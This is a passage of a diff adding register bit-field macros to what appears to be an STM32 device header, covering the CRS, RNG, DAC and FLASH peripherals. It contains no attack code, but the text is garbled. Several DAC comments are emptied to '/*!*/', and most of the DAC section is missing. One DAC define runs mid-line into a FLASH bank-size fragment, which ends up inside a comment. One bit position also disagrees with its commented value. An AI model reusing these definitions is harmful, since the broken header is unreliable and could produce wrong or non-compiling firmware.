CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28U) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31U) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0U) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1U) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2U) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3U) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8U) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9U) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10U) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15U) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16U) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0U) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1U) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2U) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3U) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2U) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3U) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5U) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7U) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8U) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12U) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13U) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16U) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20U) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30U) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31U) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0U) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1U) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2U) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5U) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6U) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0U) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk + +/******************** RNG Nist Compliance Values ******************************/ +#define RNG_CR_NIST_VALUE (0x00F00D00U) +#define RNG_HTCR_NIST_VALUE (0xAAC7U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0U) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14U) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16U) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30U) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0U) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) /*!< FLASH Bank Size */ +#define FLASH_SECTOR_SIZE 0x2000U /*!< Flash Sector Size: 8 KB */ + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0U) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_WRHIGHFREQ_Pos (4U) +#define FLASH_ACR_WRHIGHFREQ_Msk (0x3UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000030 */ +#define FLASH_ACR_WRHIGHFREQ FLASH_ACR_WRHIGHFREQ_Msk /*!< Flash signal delay */ +#define FLASH_ACR_WRHIGHFREQ_0 (0x1UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000010 */ +#define FLASH_ACR_WRHIGHFREQ_1 (0x2UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000020 */ +#define FLASH_ACR_PRFTEN_Pos (8U) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0U) +#define FLASH_OPSR_ADDR_OP_Msk (0xFFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x000FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Interrupted operation address */ +#define FLASH_OPSR_DATA_OP_Pos (21U) +#define FLASH_OPSR_DATA_OP_Msk (0x1UL << FLASH_OPSR_DATA_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_DATA_OP FLASH_OPSR_DATA_OP_Msk /*!< Operation in Flash high-cycle data area interrupted */ +#define FLASH_OPSR_BK_OP_Pos (22U) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (23U) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00800000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_OTP_OP_Pos (24U) +#define FLASH_OPSR_OTP_OP_Msk (0x1UL << FLASH_OPSR_OTP_OP_Pos) /*!< 0x01000000 */ +#define FLASH_OPSR_OTP_OP FLASH_OPSR_OTP_OP_Msk /*!< Operation in OTP area interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29U) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash memory operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTCR register *******************/ +#define FLASH_OPTCR_OPTLOCK_Pos (0U) +#define FLASH_OPTCR_OPTLOCK_Msk (0x1UL << FLASH_OPTCR_OPTLOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OPTCR_OPTLOCK FLASH_OPTCR_OPTLOCK_Msk /*!< FLASH_OPTCR lock option configuration bit */ +#define FLASH_OPTCR_OPTSTART_Pos (1U) +#define FLASH_OPTCR_OPTSTART_Msk (0x1UL << FLASH_OPTCR_OPTSTART_Pos) /*!< 0x00000002 */ +#define FLASH_OPTCR_OPTSTART FLASH_OPTCR_OPTSTART_Msk /*!< Option byte start change option configuration bit */ +#define FLASH_OPTCR_SWAP_BANK_Pos (31U) +#define FLASH_OPTCR_SWAP_BANK_Msk (0x1UL << FLASH_OPTCR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTCR_SWAP_BANK FLASH_OPTCR_SWAP_BANK_Msk /*!< Bank swapping option configuration bit */ + +/******************* Bits definition for FLASH_SR register ***********************/ +#define FLASH_SR_BSY_Pos (0U) +#define FLASH_SR_BSY_Msk (0x1UL << FLASH_SR_BSY_Pos) /*!< 0x00000001 */ +#define FLASH_SR_BSY FLASH_SR_BSY_Msk /*!< Busy flag */ +#define FLASH_SR_WBNE_Pos (1U) +#define FLASH_SR_WBNE_Msk (0x1UL << FLASH_SR_WBNE_Pos) /*!< 0x00000002 */ +#define FLASH_SR_WBNE FLASH_SR_WBNE_Msk /*!< Write buffer not empty flag */ +#define FLASH_SR_DBNE_Pos (3U) +#define FLASH_SR_DBNE_Msk (0x1UL << FLASH_SR_DBNE_Pos) /*!< 0x00000008 */ +#define FLASH_SR_DBNE FLASH_SR_DBNE_Msk /*!< Data buffer not empty flag */ +#define FLASH_SR_EOP_Pos (16U) +#define FLASH_SR_EOP_Msk (0x1UL << FLASH_SR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_SR_EOP FLASH_SR_EOP_Msk /*!< End-of-program flag */ +#define FLASH_SR_WRPERR_Pos (17U) +#define FLASH_SR_WRPERR_Msk (0x1UL << FLASH_SR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_SR_WRPERR FLASH_SR_WRPERR_Msk /*!< Write protection error flag */ +#define FLASH_SR_PGSERR_Pos (18U) +#define FLASH_SR_PGSERR_Msk (0x1UL << FLASH_SR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_SR_PGSERR FLASH_SR_PGSERR_Msk /*!< Programming sequence error flag */ +#define FLASH_SR_STRBERR_Pos (19U) +#define FLASH_SR_STRBERR_Msk (0x1UL << FLASH_SR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_SR_STRBERR FLASH_SR_STRBERR_Msk /*!< Strobe error flag */ +#define FLASH_SR_INCERR_Pos (20U) +#define FLASH_SR_INCERR_Msk (0x1UL << FLASH_SR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_SR_INCERR FLASH_SR_INCERR_Msk /*!< Inconsistency error flag */ +#define FLASH_SR_OBKERR_Pos (21U) +#define FLASH_SR_OBKERR_Msk (0x1UL << FLASH_SR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_SR_OBKERR FLASH_SR_OBKERR_Msk /*!< OBK general error flag */ +#define FLASH_SR_OBKWERR_Pos (22U) +#define FLASH_SR_OBKWERR_Msk (0x1UL << FLASH_SR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_SR_OBKWERR FLASH_SR_OBKWERR_Msk /*!< OBK write error flag */ +#define FLASH_SR_OPTCHANGEERR_Pos (23U) +#define FLASH_SR_OPTCHANGEERR_Msk (0x1UL << FLASH_SR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_SR_OPTCHANGEERR FLASH_SR_OPTCHANGEERR_Msk /*!< Option byte change error flag */ + +/******************* Bits definition for FLASH_CR register ***********************/ +#define FLASH_CR_LOCK_Pos (0U) +#define FLASH_CR_LOCK_Msk (0x1UL << FLASH_CR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_CR_LOCK FLASH_CR_LOCK_Msk /*!< Configuration lock bit */ +#define FLASH_CR_PG_Pos (1U) +#define FLASH_CR_PG_Msk (0x1UL << FLASH_CR_PG_Pos) /*!< 0x00000002 */ +#define FLASH_CR_PG FLASH_CR_PG_Msk /*!< Programming control bit */ +#define FLASH_CR_SER_Pos (2U) +#define FLASH_CR_SER_Msk (0x1UL << FLASH_CR_SER_Pos) /*!< 0x00000004 */ +#define FLASH_CR_SER FLASH_CR_SER_Msk /*!< Sector erase request */ +#define FLASH_CR_BER_Pos (3U) +#define FLASH_CR_BER_Msk (0x1UL << FLASH_CR_BER_Pos) /*!< 0x00000008 */ +#define FLASH_CR_BER FLASH_CR_BER_Msk /*!< Bank erase request */ +#define FLASH_CR_FW_Pos (4U) +#define FLASH_CR_FW_Msk (0x1UL << FLASH_CR_FW_Pos) /*!< 0x00000010 */ +#define FLASH_CR_FW FLASH_CR_FW_Msk /*!< Write forcing control bit */ +#define FLASH_CR_START_Pos (5U) +#define FLASH_CR_START_Msk (0x1UL << FLASH_CR_START_Pos) /*!< 0x00000020 */ +#define FLASH_CR_START FLASH_CR_START_Msk /*!< Erase start control bit */ +#define FLASH_CR_SNB_Pos (6U) +#define FLASH_CR_SNB_Msk (0x1FUL << FLASH_CR_SNB_Pos) /*!< 0x00001FC0 */ +#define FLASH_CR_SNB FLASH_CR_SNB_Msk /*!< Sector erase selection number */ +#define FLASH_CR_SNB_0 (0x01UL << FLASH_CR_SNB_Pos) /*!< 0x00000040 */ +#define FLASH_CR_SNB_1 (0x02UL << FLASH_CR_SNB_Pos) /*!< 0x00000080 */ +#define FLASH_CR_SNB_2 (0x04UL << FLASH_CR_SNB_Pos) /*!< 0x00000100 */ +#define FLASH_CR_SNB_3 (0x08UL << FLASH_CR_SNB_Pos) /*!< 0x00000200 */ +#define FLASH_CR_SNB_4 (0x10UL << FLASH_CR_SNB_Pos) /*!< 0x00000400 */ +#define FLASH_CR_SNB_5 (0x20UL << FLASH_CR_SNB_Pos) /*!< 0x00000800 */ +#define FLASH_CR_SNB_6 (0x40UL << FLASH_CR_SNB_Pos) /*!< 0x00001000 */ +#define FLASH_CR_MER_Pos (15U) +#define FLASH_CR_MER_Msk (0x1UL << FLASH_CR_MER_Pos) /*!< 0x00008000 */ +#define FLASH_CR_MER FLASH_CR_MER_Msk /*!< Mass erase */ +#define FLASH_CR_EOPIE_Pos (16U) +#define FLASH_CR_EOPIE_Msk (0x1UL << FLASH_CR_EOPIE_Pos) /*!< 0x00010000 */ +#define FLASH_CR_EOPIE FLASH_CR_EOPIE_Msk /*!< End-of-operation interrupt control bit */ +#define FLASH_CR_WRPERRIE_Pos (17U) +#define FLASH_CR_WRPERRIE_Msk (0x1UL << FLASH_CR_WRPERRIE_Pos) /*!< 0x00020000 */ +#define FLASH_CR_WRPERRIE FLASH_CR_WRPERRIE_Msk /*!< Write protection error interrupt enable bit */ +#define FLASH_CR_PGSERRIE_Pos (18U) +#define FLASH_CR_PGSERRIE_Msk (0x1UL << FLASH_CR_PGSERRIE_Pos) /*!< 0x00040000 */ +#define FLASH_CR_PGSERRIE FLASH_CR_PGSERRIE_Msk /*!< Programming sequence error interrupt enable bit */ +#define FLASH_CR_STRBERRIE_Pos (19U) +#define FLASH_CR_STRBERRIE_Msk (0x1UL << FLASH_CR_STRBERRIE_Pos) /*!< 0x00080000 */ +#define FLASH_CR_STRBERRIE FLASH_CR_STRBERRIE_Msk /*!< Strobe error interrupt enable bit */ +#define FLASH_CR_INCERRIE_Pos (20U) +#define FLASH_CR_INCERRIE_Msk (0x1UL << FLASH_CR_INCERRIE_Pos) /*!< 0x00100000 */ +#define FLASH_CR_INCERRIE FLASH_CR_INCERRIE_Msk /*!< Inconsistency error interrupt enable bit */ +#define FLASH_CR_OBKERRIE_Pos (21U) +#define FLASH_CR_OBKERRIE_Msk (0x1UL << FLASH_CR_OBKERRIE_Pos) /*!< 0x00200000 */ +#define FLASH_CR_OBKERRIE FLASH_CR_OBKERRIE_Msk /*!< OBK general error interrupt enable bitt */ +#define FLASH_CR_OBKWERRIE_Pos (22U) +#define FLASH_CR_OBKWERRIE_Msk (0x1UL << FLASH_CR_OBKWERRIE_Pos) /*!< 0x00400000 */ +#define FLASH_CR_OBKWERRIE FLASH_CR_OBKWERRIE_Msk /*!< OBK write error interrupt enable bit */ +#define FLASH_CR_OPTCHANGEERRIE_Pos (23U) +#define FLASH_CR_OPTCHANGEERRIE_Msk (0x1UL << FLASH_CR_OPTCHANGEERRIE_Pos) /*!< 0x00800000 */ +#define FLASH_CR_OPTCHANGEERRIE FLASH_CR_OPTCHANGEERRIE_Msk /*!< Option byte change error interrupt enable bit */ +#define FLASH_CR_INV_Pos (29U) +#define FLASH_CR_INV_Msk (0x1UL << FLASH_CR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_CR_INV FLASH_CR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_CR_BKSEL_Pos (31U) +#define FLASH_CR_BKSEL_Msk (0x1UL << FLASH_CR_BKSEL_Pos) /*!< 0x10000000 */ +#define FLASH_CR_BKSEL FLASH_CR_BKSEL_Msk /*!< Bank selector */ + +/******************* Bits definition for FLASH_CCR register *******************/ +#define FLASH_CCR_CLR_EOP_Pos (16U) +#define FLASH_CCR_CLR_EOP_Msk (0x1UL << FLASH_CCR_CLR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_CCR_CLR_EOP FLASH_CCR_CLR_EOP_Msk /*!< EOP flag clear bit */ +#define FLASH_CCR_CLR_WRPERR_Pos (17U) +#define FLASH_CCR_CLR_WRPERR_Msk (0x1UL << FLASH_CCR_CLR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_CCR_CLR_WRPERR FLASH_CCR_CLR_WRPERR_Msk /*!< WRPERR flag clear bit */ +#define FLASH_CCR_CLR_PGSERR_Pos (18U) +#define FLASH_CCR_CLR_PGSERR_Msk (0x1UL << FLASH_CCR_CLR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_CCR_CLR_PGSERR FLASH_CCR_CLR_PGSERR_Msk /*!< PGSERR flag clear bit */ +#define FLASH_CCR_CLR_STRBERR_Pos (19U) +#define FLASH_CCR_CLR_STRBERR_Msk (0x1UL << FLASH_CCR_CLR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_CCR_CLR_STRBERR FLASH_CCR_CLR_STRBERR_Msk /*!< STRBERR flag clear bit */ +#define FLASH_CCR_CLR_INCERR_Pos (20U) +#define FLASH_CCR_CLR_INCERR_Msk (0x1UL << FLASH_CCR_CLR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_CCR_CLR_INCERR FLASH_CCR_CLR_INCERR_Msk /*!< INCERR flag clear bit */ +#define FLASH_CCR_CLR_OBKERR_Pos (21U) +#define FLASH_CCR_CLR_OBKERR_Msk (0x1UL << FLASH_CCR_CLR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_CCR_CLR_OBKERR FLASH_CCR_CLR_OBKERR_Msk /*!< OBKERR flag clear bit */ +#define FLASH_CCR_CLR_OBKWERR_Pos (22U) +#define FLASH_CCR_CLR_OBKWERR_Msk (0x1UL << FLASH_CCR_CLR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_CCR_CLR_OBKWERR FLASH_CCR_CLR_OBKWERR_Msk /*!< OBKWERR flag clear bit */ +#define FLASH_CCR_CLR_OPTCHANGEERR_Pos (23U) +#define FLASH_CCR_CLR_OPTCHANGEERR_Msk (0x1UL << FLASH_CCR_CLR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_CCR_CLR_OPTCHANGEERR FLASH_CCR_CLR_OPTCHANGEERR_Msk /*!< Option byte change error clear bit */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0U) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1U) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/****************** Bits definition for FLASH_OBKCFGR register *****************/ +#define FLASH_OBKCFGR_LOCK_Pos (0U) +#define FLASH_OBKCFGR_LOCK_Msk (0x1UL << FLASH_OBKCFGR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OBKCFGR_LOCK FLASH_OBKCFGR_LOCK_Msk /*!< OBKCFGR lock */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Pos (1U) +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Msk (0x1UL << FLASH_OBKCFGR_SWAP_SECT_REQ_Pos) /*!< 0x00000002 */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ FLASH_OBKCFGR_SWAP_SECT_REQ_Msk /*!< OBK swap sector request */ +#define FLASH_OBKCFGR_ALT_SECT_Pos (2U) +#define FLASH_OBKCFGR_ALT_SECT_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_Pos) /*!< 0x00000004 */ +#define FLASH_OBKCFGR_ALT_SECT FLASH_OBKCFGR_ALT_SECT_Msk /*!< Alternate sector */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Pos (3U) +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_ERASE_Pos) /*!< 0x00000008 */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE FLASH_OBKCFGR_ALT_SECT_ERASE_Msk /*!< Alternate sector erase */ +#define FLASH_OBKCFGR_SWAP_OFFSET_Pos (16U) +#define FLASH_OBKCFGR_SWAP_OFFSET_Msk (0x1FFUL << FLASH_OBKCFGR_SWAP_OFFSET_Pos) /*!< 0x01FF0000 */ +#define FLASH_OBKCFGR_SWAP_OFFSET FLASH_OBKCFGR_SWAP_OFFSET_Msk /*!< Swap offset */ + +/****************** Bits definition for FLASH_HDPEXTR register *****************/ +#define FLASH_HDPEXTR_HDP1_EXT_Pos (0U) +#define FLASH_HDPEXTR_HDP1_EXT_Msk (0x1FUL << 